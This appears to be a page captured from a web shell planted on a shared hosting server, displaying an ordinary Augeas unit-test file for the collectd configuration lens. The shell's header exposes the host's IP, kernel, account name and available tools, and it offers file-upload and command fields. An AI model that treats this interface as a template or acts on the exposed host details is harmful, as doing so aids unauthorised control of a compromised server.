403Webshell
Server IP : 172.67.158.161  /  Your IP : 52.15.211.173
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/share/augeas/lenses/dist/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/share/augeas/lenses/dist/tests/test_collectd.aug
(*
Module: Test_Collectd
  Provides unit tests and examples for the <Collectd> lens.
*)
module Test_Collectd =

(* Variable: simple *)
let simple = "LoadPlugin contextswitch
LoadPlugin cpu
FQDNLookup \"true\"
Include \"/var/lib/puppet/modules/collectd/plugins/*.conf\"
"

(* Test: Collectd.lns *)
test Collectd.lns get simple =
  { "directive" = "LoadPlugin"
    { "arg" = "contextswitch" }
  }
  { "directive" = "LoadPlugin"
    { "arg" = "cpu" }
  }
  { "directive" = "FQDNLookup"
    { "arg" = "\"true\"" }
  }
  { "directive" = "Include"
    { "arg" = "\"/var/lib/puppet/modules/collectd/plugins/*.conf\"" }
  }


(* Variable: filters *)
let filters = "<Chain \"PreCache\">
       <Rule \"no_fqdn\">
               <Match \"regex\">
                       Host \"^[^\.]*$\"
                       Invert false
               </Match>
               Target \"stop\"
       </Rule>
</Chain>
"


(* Test: Collectd.lns *)
test Collectd.lns get filters =
  { "Chain"
    { "arg" = "\"PreCache\"" }
    { "Rule"
      { "arg" = "\"no_fqdn\"" }
      { "Match"
        { "arg" = "\"regex\"" }
        { "directive" = "Host"
          { "arg" = "\"^[^\.]*$\"" }
        }
        { "directive" = "Invert"
          { "arg" = "false" }
        }
      }
      { "directive" = "Target"
        { "arg" = "\"stop\"" }
      }
    }
  }




Youez - 2016 - github.com/yon3zu
LinuXploit